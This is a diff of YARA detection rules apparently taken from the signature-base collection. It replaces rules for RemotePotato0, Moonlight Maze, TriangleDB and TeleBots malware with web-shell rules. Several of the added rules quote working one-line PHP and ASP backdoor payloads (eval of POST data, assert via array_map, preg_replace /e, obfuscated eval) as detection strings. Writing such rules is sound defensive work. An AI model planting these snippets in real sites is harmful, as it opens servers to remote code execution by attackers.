-		( uint32(0)==0xfeedface or uint32(0)==0xcefaedfe or uint32(0)==0xfeedfacf or uint32(0)==0xcffaedfe or uint32(0)==0xcafebabe or uint32(0)==0xbebafeca) and ($a1 or 3 of ($b*) or 5 of ($f*) or all of ($opcodes*) or (2 of ($b*) and (2 of ($c*) or 2 of ($opcodes*))) or (3 of ($c*) and 4 of ($f*)) or (2 of ($opcodes*) and ( all of ($weak_opcodes*) or 3 of ($c*))))
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_Sentinelone_Remotepotato0_Privesc : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Xxxx
 {
 	meta:
-		description = "Detects RemotePotato0 binary"
-		author = "SentinelOne"
-		id = "f6dffd6b-e794-5c4a-9700-5c2022168f44"
-		date = "2021-04-26"
+		description = "Web shells - generated from file xxxx.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_remote_potato0.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f3a3a917908af6260f40b217f966750a095140abb6bf85cf3a728725bc16996f"
-		score = 75
-		quality = 79
-		tags = "FILE"
-
-	strings:
-		$import1 = "CoGetInstanceFromIStorage"
-		$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
-		$meow_header = { 4d 45 4f 57 }
-		$clsid1 = "{11111111-2222-3333-4444-555555555555}" wide ascii
-		$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
-
-	condition:
-		( uint16(0)==0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
-}
-rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Customlokitools : FILE
-{
-	meta:
-		description = "Rule to detect Moonlight Maze Loki samples by custom attacker-authored strings"
-		author = "Kaspersky Lab"
-		id = "d5795d3b-bbb1-59e9-b86d-666b5c911f3b"
-		date = "2017-03-15"
-		modified = "2017-03-22"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_moonlightmaze.yar#L11-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "14cce7e641d308c3a177a8abb5457019"
-		hash = "a3164d2bbc45fb1eef5fde7eb8b245ea"
-		hash = "dabee9a7ea0ddaf900ef1e3e166ffe8a"
-		hash = "1980958afffb6a9d5a6c73fc1e2795c2"
-		hash = "e59f92aadb6505f29a9f368ab803082e"
-		logic_hash = "4e1f60b045c10758354f110c3778b8ffd7f10b5e229b3f2f821287476620bec9"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3434-L3447"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5bcba70b2137375225d8eedcde2c0ebb"
+		logic_hash = "e14cc1eaf357389ca58193c77ce2f54774aebb42be9df15f12415df356c7ed42"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		version = "1.1"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "Write file Ok..." ascii wide
-		$a2 = "ERROR: Can not open socket...." ascii wide
-		$a3 = "Error in parametrs:" ascii wide
-		$a4 = "Usage: @<get/put> <IP> <PORT> <file>" ascii wide
-		$a5 = "ERROR: Not connect..." ascii wide
-		$a6 = "Connect successful...." ascii wide
-		$a7 = "clnt <%d> rqstd n ll kll" ascii wide
-		$a8 = "clnt <%d> rqstd swap" ascii wide
-		$a9 = "cld nt sgnl prcs grp" ascii wide
-		$a10 = "cld nt sgnl prnt" ascii wide
-		$a11 = "ork error" ascii fullword
+		$s0 = "<?php eval($_POST[1]);?>  " fullword
 
 	condition:
-		filesize <5000KB and 3 of ($a*)
+		all of them
 }
-rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Customsniffer
+rule SIGNATURE_BASE_Webshell_Webshells_New_Jjjsp3
 {
 	meta:
-		description = "Rule to detect Moonlight Maze sniffer tools"
-		author = "Kaspersky Lab"
-		id = "8cc76e4d-a956-543c-81e0-827dfdb5da1c"
-		date = "2017-03-15"
+		description = "Web shells - generated from file JJjsp3.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_moonlightmaze.yar#L50-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7b86f40e861705d59f5206c482e1f2a5"
-		hash = "927426b558888ad680829bd34b0ad0e7"
-		logic_hash = "5ccf9035adc16393db4b3d461f7a20f86f538275d7806280a15508c15d9c805c"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3448-L3461"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "949ffee1e07a1269df7c69b9722d293e"
+		logic_hash = "44889540effa2f71889e7f6d0c5d12486e256d83b9230c4902d56f6a59b7939b"
+		score = 70
 		quality = 85
 		tags = ""
-		version = "1.1"
-		original_filename = "ora;tdn"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "/var/tmp/gogo" fullword
-		$a2 = "myfilename= |%s|" fullword
-		$a3 = "mypid,mygid=" fullword
-		$a4 = "mypid=|%d| mygid=|%d|" fullword
-		$a5 = "/var/tmp/task" fullword
-		$a6 = "mydevname= |%s|" fullword
+		$s0 = "<%@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\"%><%!S"
 
 	condition:
-		2 of ($a*)
+		all of them
 }
-rule SIGNATURE_BASE_Loki2Crypto
+rule SIGNATURE_BASE_Webshell_Webshells_New_PHP1
 {
 	meta:
-		description = "Rule to detect hardcoded DH modulus used in 1996/1997 Loki2 sourcecode; #ifdef STRONG_CRYPTO /* 384-bit strong prime */"
-		author = "Costin Raiu, Kaspersky Lab"
-		id = "d67288f8-5205-5882-8dff-041d092eea4f"
-		date = "2017-03-21"
+		description = "Web shells - generated from file PHP1.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_moonlightmaze.yar#L82-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "19fbd8cbfb12482e8020a887d6427315"
-		hash = "ea06b213d5924de65407e8931b1e4326"
-		hash = "14ecd5e6fc8e501037b54ca263896a11"
-		hash = "e079ec947d3d4dacb21e993b760a65dc"
-		hash = "edf900cebb70c6d1fcab0234062bfc28"
-		logic_hash = "c2315dafb0ecb9e6babd526a028835f3513218c1e667c81088c49ad13dbab5be"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3462-L3477"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "14c7281fdaf2ae004ca5fec8753ce3cb"
+		logic_hash = "1c5eb355455c7fbd2b74d91f78e1d77f460dfeb4fe0ee65f18aa1453337b67a0"
+		score = 70
 		quality = 85
 		tags = ""
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$modulus = {DA E1 01 CD D8 C9 70 AF C2 E4 F2 7A 41 8B 43 39 52 9B 4B 4D E5 85 F8 49}
+		$s0 = "<[url=mailto:?@array_map($_GET[]?@array_map($_GET['f'],$_GET[/url]);?>" fullword
+		$s2 = ":https://forum.90sec.org/forum.php?mod=viewthread&tid=7316" fullword
+		$s3 = "@preg_replace(\"/f/e\",$_GET['u'],\"fengjiao\"); " fullword
 
 	condition:
-		( any of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_De_Tool
+rule SIGNATURE_BASE_Webshell_Webshells_New_Jjjsp2
 {
 	meta:
-		description = "Rule to detect Moonlight Maze 'de' and 'deg' tunnel tool"
-		author = "Kaspersky Lab"
-		id = "09bfebca-7cec-5514-9f48-c0c2c57efcf9"
-		date = "2017-03-27"
-		modified = "2017-03-27"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_moonlightmaze.yar#L111-L137"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4bc7ed168fb78f0dc688ee2be20c9703"
-		hash = "8b56e8552a74133da4bc5939b5f74243"
-		logic_hash = "f658e1aa2ddb84fe3c1de7c7c00f2148d232cf2b3381c298420abfc382c02986"
-		score = 75
+		description = "Web shells - generated from file JJJsp2.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3478-L3494"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5a9fec45236768069c99f0bfd566d754"
+		logic_hash = "47dca67c7a01035996d032cb3871da5532aea81ab6570c93c4a6b148fd95e9f9"
+		score = 70
 		quality = 85
 		tags = ""
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "Vnuk: %d" ascii fullword
-		$a2 = "Syn: %d" ascii fullword
-		$a3 = {25 73 0A 25 73 0A 25 73 0A 25 73 0A}
+		$s2 = "QQ(cs, z1, z2, sb,z2.indexOf(\"-to:\")!=-1?z2.substring(z2.indexOf(\"-to:\")+4,z"
+		$s8 = "sb.append(l[i].getName() + \"/\\t\" + sT + \"\\t\" + l[i].length()+ \"\\t\" + sQ"
+		$s10 = "ResultSet r = s.indexOf(\"jdbc:oracle\")!=-1?c.getMetaData()"
+		$s11 = "return DriverManager.getConnection(x[1].trim()+\":\"+x[4],x[2].equalsIgnoreCase("
 
 	condition:
-		((2 of ($a*)))
+		1 of them
 }
-rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Cle_Tool
+rule SIGNATURE_BASE_Webshell_Webshells_New_Radhat
 {
 	meta:
-		description = "Rule to detect Moonlight Maze 'cle' log cleaning tool"
-		author = "Kaspersky Lab"
-		id = "99ae07b9-eb42-53dc-bd8b-75ab6a0b8cab"
-		date = "2017-03-27"
-		modified = "2017-03-27"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_moonlightmaze.yar#L140-L167"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "647d7b711f7b4434145ea30d0ef207b0"
-		logic_hash = "a4bbd7be617b944a656fa58ca9ec6384f624c95250de6b8a6ba63e7c3387484c"
-		score = 75
+		description = "Web shells - generated from file radhat.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3495-L3508"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "72cb5ef226834ed791144abaa0acdfd4"
+		logic_hash = "28d4d380b25da05a3be439bad72725fa49c947535dfeb5c24994a849c0592b81"
+		score = 70
 		quality = 85
 		tags = ""
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-	strings:
-		$a1 = "./a filename template_file" ascii wide
-		$a2 = "May be %s is empty?" ascii wide
-		$a3 = "template string = |%s|" ascii wide
-		$a4 = "No blocks !!!"
-		$a5 = "No data in this block !!!!!!" ascii wide
-		$a6 = "No good line"
+	strings:
+		$s1 = "sod=Array(\"D\",\"7\",\"S"
 
 	condition:
-		((3 of ($a*)))
+		all of them
 }
-rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Xk_Keylogger
+rule SIGNATURE_BASE_Webshell_Webshells_New_Asp1
 {
 	meta:
-		description = "Rule to detect Moonlight Maze 'xk' keylogger"
-		author = "Kaspersky Lab"
-		id = "cf585cd0-afdd-5782-a6e5-bb9509cbf01d"
-		date = "2017-03-27"
-		modified = "2017-03-27"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_moonlightmaze.yar#L170-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b2acdef9c8e545f4ab217f529a7e4a3e74723b27ec89896f98639fd40792bcc8"
-		score = 75
-		quality = 35
+		description = "Web shells - generated from file asp1.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3509-L3523"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b63e708cd58ae1ec85cf784060b69cad"
+		logic_hash = "6c76c5388825e29d333096d4cfa3782b7776f31b206a0ed5a8809428d698778b"
+		score = 70
+		quality = 85
 		tags = ""
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "Log ended at => %s"
-		$a2 = "Log started at => %s [pid %d]"
-		$a3 = "/var/tmp/task" fullword
-		$a4 = "/var/tmp/taskhost" fullword
-		$a5 = "my hostname: %s"
-		$a6 = "/var/tmp/tasklog"
-		$a7 = "/var/tmp/.Xtmp01" fullword
-		$a8 = "myfilename=-%s-"
-		$a9 = "/var/tmp/taskpid"
-		$a10 = "mypid=-%d-" fullword
-		$a11 = "/var/tmp/taskgid" fullword
-		$a12 = "mygid=-%d-" fullword
+		$s0 = " http://www.baidu.com/fuck.asp?a=)0(tseuqer%20lave " fullword
+		$s2 = " <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>" fullword
 
 	condition:
-		((3 of ($a*)))
+		1 of them
 }
-rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Encrypted_Keylog : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Php6
 {
 	meta:
-		description = "Rule to detect Moonlight Maze encrypted keylogger logs"
-		author = "Kaspersky Lab"
-		id = "f0d464f0-3955-5f41-a57f-8aa225e1171d"
-		date = "2017-03-27"
-		modified = "2017-03-27"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_moonlightmaze.yar#L204-L222"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "593f6f2148ddb52e2beee72a48135cd83f126edfdb263b471432d17273e536db"
-		score = 75
+		description = "Web shells - generated from file php6.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3524-L3539"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ea75280224a735f1e445d244acdfeb7b"
+		logic_hash = "495dc6c6769b8605ea946c012ad0ebb54685e7e91afd383027640753d90c6b3f"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		version = "1.0"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = {47 01 22 2A 6D 3E 39 2C}
+		$s1 = "array_map(\"asx73ert\",(ar"
+		$s3 = "preg_replace(\"/[errorpage]/e\",$page,\"saft\");" fullword
+		$s4 = "shell.php?qid=zxexp  " fullword
 
 	condition:
-		uint32(0)==0x2a220147 and ($a1 at 0)
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Equation_Group_Op_Triangulation_Triangledb_Implant_Jun23_1 : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Xxx
 {
 	meta:
-		description = "Detects TriangleDB implant found being used in Operation Triangulation on iOS devices (maybe also used on macOS systems)"
-		author = "Florian Roth"
-		id = "d81a5103-41c8-5dba-a560-8fb5514f6c0a"
-		date = "2023-06-21"
+		description = "Web shells - generated from file xxx.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/triangledb-triangulation-implant/110050/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_triangulation_jun23.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "486b19ddb8b182dbba882359f7eb416735e76f9cda5aea1b290fb5c6b44960c5"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3540-L3553"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0e71428fe68b39b70adb6aeedf260ca0"
+		logic_hash = "837ed266af8a65ac683be39c32509df34bc8041b336a71c12700ca73bf210b4d"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "unmungeHexString" ascii fullword
-		$s2 = "CRPwrInfo" ascii fullword
-		$s3 = "CRConfig" ascii fullword
-		$s4 = "CRXConfigureDBServer" ascii fullword
+		$s3 = "<?php array_map(\"ass\\x65rt\",(array)$_REQUEST['expdoor']);?>" fullword
 
 	condition:
-		( uint16(0)==0xfacf and filesize <30MB and $s1 and 2 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Telebots_Intercepterng : FILE
+rule SIGNATURE_BASE_Webshell_Getpostphp
 {
 	meta:
-		description = "Detects TeleBots malware - IntercepterNG"
+		description = "Web shells - generated from file GetPostpHp.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f4d48eb6-8235-534d-a32f-7f2711b96e9d"
-		date = "2016-12-14"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4if3HG"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_telebots.yar#L10-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cbf0d44d871ec471e891fb909612f58263ec0b0c702f87875f6e027362409318"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3554-L3567"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "20ede5b8182d952728d594e6f2bb5c76"
+		logic_hash = "e75f66200593c3fdaadf1881235847f6c3f3caadcb7ffe13e8b01bce5f922702"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5f9fef7974d37922ac91365588fbe7b544e13abbbde7c262fe30bade7026e118"
 
 	strings:
-		$s1 = "Usage: %s iface_num\\dump [mode] [w] [-gw] [-t1 ip]" fullword ascii
-		$s2 = "Target%d found: %s - [%.2X-%.2X-%.2X-%.2X-%.2X-%.2X]" fullword ascii
-		$s3 = "3: passwords + files, no arp poison" fullword ascii
-		$s4 = "IRC Joining Keyed Channel intercepted" fullword ascii
-		$s5 = "-tX - set target ip" fullword ascii
-		$s6 = "w - save session to .pcap dump" fullword ascii
-		$s7 = "example: %s 1 1 -gw 192.168.1.1 -t1 192.168.1.3 -t2 192.168.1.5" fullword ascii
-		$s8 = "ORACLE8 DES Authorization intercepted" fullword ascii
+		$s0 = "<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 1 of them ) or (4 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Telebots_Killdisk_1 : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Php5
 {
 	meta:
-		description = "Detects TeleBots malware - KillDisk"
+		description = "Web shells - generated from file php5.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "111fc6bc-b790-51b9-81b7-a4716bb0aee9"
-		date = "2016-12-14"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4if3HG"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_telebots.yar#L32-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e70d324c408bae1bb42b16f19cd0e6b87e8228c7480d571fef5266eee5695fd2"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3568-L3581"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cf2ab009cbd2576a806bfefb74906fdf"
+		logic_hash = "280be378bc6cf52ef9454083180015ed00f9d0bc936620a4105c34c3a3002383"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8246f709efa922a485e1ca32d8b0d10dc752618e8b3fce4d3dd58d10e4a6a16d"
 
 	strings:
-		$s1 = "Plug-And-Play Support Service" fullword wide
-		$s2 = " /c \"echo Y|" fullword wide
-		$s3 = "-set=06.12.2016#09:30 -est=1410" fullword ascii
-		$s4 = "%d.%d.%d#%d:%d" fullword ascii
-		$s5 = " /T /C /G " fullword wide
-		$s6 = "[-] > %ls" fullword wide
-		$s7 = "[+] > %ls" fullword wide
+		$s0 = "<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_u"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 4 of them ) or (6 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Telebots_Killdisk_2 : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_PHP
 {
 	meta:
-		description = "Detects TeleBots malware - KillDisk"
+		description = "Web shells - generated from file PHP.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7797187f-c94b-5323-ae43-2dc001f0b481"
-		date = "2016-12-14"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4if3HG"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_telebots.yar#L53-L68"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4ae09a226c4eecae18e685423ef30b3776be518609f89a078c647fe8ee00f19"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3582-L3599"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a524e7ae8d71e37d2fd3e5fbdab405ea"
+		logic_hash = "706f835f63e153f907ae8a5a48f1dc4b9d3b8511b21b7155bc045b0ebdc893fc"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "26173c9ec8fd1c4f9f18f89683b23267f6f9d116196ed15655e9cb453af2890e"
 
 	strings:
-		$s1 = "Plug-And-Play Support Service" fullword wide
-		$s2 = " /c \"echo Y|" fullword wide
-		$s3 = "%d.%d.%d#%d:%d" fullword ascii
+		$s1 = "echo \"<font color=blue>Error!</font>\";" fullword
+		$s2 = "<input type=\"text\" size=61 name=\"f\" value='<?php echo $_SERVER[\"SCRIPT_FILE"
+		$s5 = " - ExpDoor.com</title>" fullword
+		$s10 = "$f=fopen($_POST[\"f\"],\"w\");" fullword
+		$s12 = "<textarea name=\"c\" cols=60 rows=15></textarea><br>" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Telebots_Credraptor_Password_Stealer : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_New_Asp
 {
 	meta:
-		description = "Detects TeleBots malware - CredRaptor Password Stealer"
+		description = "Web shells - generated from file Asp.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f594a946-13b4-5179-9029-a0730634d55f"
-		date = "2016-12-14"
-		modified = "2023-01-06"
-		reference = "https://goo.gl/4if3HG"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_telebots.yar#L70-L88"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed884cb7643a61109f87e2887bed7ddb838c73bce28812b76c35bb807629e116"
-		score = 75
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-03-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3600-L3615"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "32c87744ea404d0ea0debd55915010b7"
+		logic_hash = "dd2e9f753e8fa781c28c2d5bb9336bb3f39ed8a496bd89eb54bc1812ef512ab5"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "50b990f6555055a265fde98324759dbc74619d6a7c49b9fd786775299bf77d26"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "C:\\Documents and Settings\\Administrator\\Desktop\\GetPAI\\Out\\IE.pdb" fullword ascii
